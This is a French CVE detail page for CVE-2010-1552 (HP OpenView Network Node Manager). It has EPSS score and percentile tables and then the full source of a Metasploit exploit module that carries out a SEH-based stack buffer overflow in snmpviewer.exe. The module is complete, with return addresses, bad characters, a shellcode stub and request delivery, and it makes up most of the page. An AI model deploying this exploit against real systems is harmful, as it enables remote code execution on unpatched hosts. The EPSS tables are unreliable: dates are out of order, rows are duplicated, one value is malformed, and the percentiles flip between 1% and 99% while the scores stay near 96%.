CVE-2010-1552 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	85.98%	–	–
2023-03-12	–	–	–	96.72%	–
2023-04-16	–	–	–	96.98%	–
2023-06-04	–	–	–	96.64%	–
2023-07-16	–	–	–	96.41%	–
2023-08-27	–	–	–	96.47%	–
2023-10-15	–	–	–	96.37%	–
2024-01-07	–	–	–	96.73%	–
2024-02-18	–	–	–	96.8%	–
2024-03-31	–	–	–	96.6%	–
2024-06-02	–	–	–	96.71%	–
2024-06-30	–	–	–	96.16%	–
2024-08-25	–	–	–	96.11%	–
2024-09-29	–	–	–	96.79%	–
2024-11-10	–	–	–	96.74%	–
2024-12-22	–	–	–	96.08%	–
2025-02-02	–	–	–	96.12%	–
2025-03-16	–	–	–	96.29%	–
2025-01-19	–	–	–	96.08%	–
2025-02-02	–	–	–	96.12%	–
2025-03-18	–	–	–	–	82.38%
2025-03-18	–	–	–	–	82.38,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	99%
2023-04-16	1%
2023-06-04	99%
2023-07-16	99%
2023-08-27	99%
2023-10-15	99%
2024-01-07	1%
2024-02-18	1%
2024-03-31	1%
2024-06-02	1%
2024-06-30	1%
2024-08-25	1%
2024-09-29	1%
2024-11-10	1%
2024-12-22	1%
2025-02-02	1%
2025-03-16	1%
2025-01-19	1%
2025-02-02	1%
2025-03-18	99%
2025-03-18	99%

## # $Id: hp_nnm_snmpviewer_actapp.rb 12098 2011-03-23 15:47:20Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/snmpviewer.exe', :pattern => /Hewlett-Packard Development Company/ } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53 prior to NNM_01203. By making a specially crafted HTTP request to the "snmpviewer.exe" CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code. The vulnerable code lies within the a function within "snmpviewer.exe" with a timestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET or POST request. The request must contain 'act' and 'app' parameters which, when combined, total more than the 1024 byte stack buffer can hold. It is important to note that this vulnerability must be exploited by overwriting SEH. While the saved return address can be smashed, a function call that occurs before the function returns calls "exit". } , 'Author' => [ 'jduck' # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12098 $', 'References' => [ [ 'CVE', '2010-1552' ], [ 'OSVDB', '64975' ], [ 'BID', '40068' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-083/' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02153379' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 1024, # 1024 byte buffer.. 'BadChars' => # Not sure why this one has a different set of bad chars... ( (0x00..0x08).to_a + (0x0b..0x1f).to_a + [ 0x21, 0x26, 0x3c, 0x3e, 0x5b, 0x5d, 0x5e, 0x60, 0x7e, 0x7f ] ).pack('C*'), 'DisableNops' => true, # Manually use FPU to get EIP into ECX 'PrependEncoder' => "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x83\xe9\xf7", 'EncoderOptions' => { 'BufferRegister' => 'ecx' }, }, 'Platform' => 'win', 'Targets' => [ [ 'HP OpenView Network Node Manager 7.53 w/NNM_01201', { 'Ret' => 0x5a238ba7, # pop edx/pop ebp/ret - in ovsnmp.dll v1.30.10.9166 } ], [ 'HP OpenView Network Node Manager 7.53 (Windows 2003)', { 'Ret' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959 } ], [ 'Debug Target', { 'Ret' => 0xdeadbeef, # crasher } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 11 2010')) register_options( [ Opt::RPORT(80), ], self.class) end def exploit print_status("Trying target #{target.name}...") cgi = '/OvCgi/snmpviewer.exe' # "ins" must be "load" or "content" ins_ok = [ 'load', 'content' ] ins = ins_ok[rand(ins_ok.length)] start = 'The specified Application/Action name is not defined.<p>Application:"' #middle = '"<p>Action:"' ia32 = Metasm::Ia32.new # SEH seh_offset = 1192 seh_frame = rand_text(8) # Jump back to the payload, after p/p/r jumps to us. distance = seh_offset - start.length + seh_frame.length # dry run jmp_back = Metasm::Shellcode.assemble(ia32, "jmp $-" + distance.to_s).encode_string distance = seh_offset - start.length - jmp_back.length distance += 8 if ins == 'content' jmp_back = Metasm::Shellcode.assemble(ia32, "jmp $-" + distance.to_s).encode_string # A short jump back to the long jump back :) jmp_small = Metasm::Shellcode.assemble(ia32, "jmp $-" + jmp_back.length.to_s).encode_string # Fix up the SEH frame seh_frame[0,jmp_small.length] = jmp_small seh_frame[4,4] = [target.ret].pack('V') # Create the buffer buf = '' buf << payload.encoded pad = seh_offset - start.length - buf.length - jmp_back.length pad += 8 if ins == 'content' buf << rand_text(pad) buf << jmp_back buf << seh_frame app = buf # Force an exception writing off the end of the stack action = rand_text(1024) # Send the request if rand(2) > 0 print_status("Sending exploit via POST request (ins=#{ins})...") res = send_request_cgi({ 'uri' => cgi, 'method' => "POST", 'vars_post' => { 'ins' => ins, 'act' => action, 'app' => app } }, 3) else print_status("Sending exploit via GET request (ins=#{ins})...") res = send_request_cgi({ 'uri' => cgi, 'method' => "GET", 'vars_get' => { 'ins' => ins, 'act' => action, 'app' => app } }, 3) end if res and res.code != 502 print_error("Eek! We weren't expecting a response, but we got one") print_status(res.inspect) if datastore['NNM_DEBUG'] end handler end def wfs_delay 5 end end